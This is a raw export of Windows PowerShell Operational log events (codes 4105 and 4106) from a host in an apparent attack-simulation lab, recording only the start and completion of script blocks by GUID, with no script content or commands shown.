SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036024
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036023
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036018
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036017
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2036001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2036000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035995
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035994
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035993
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035992
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2035984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2035983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
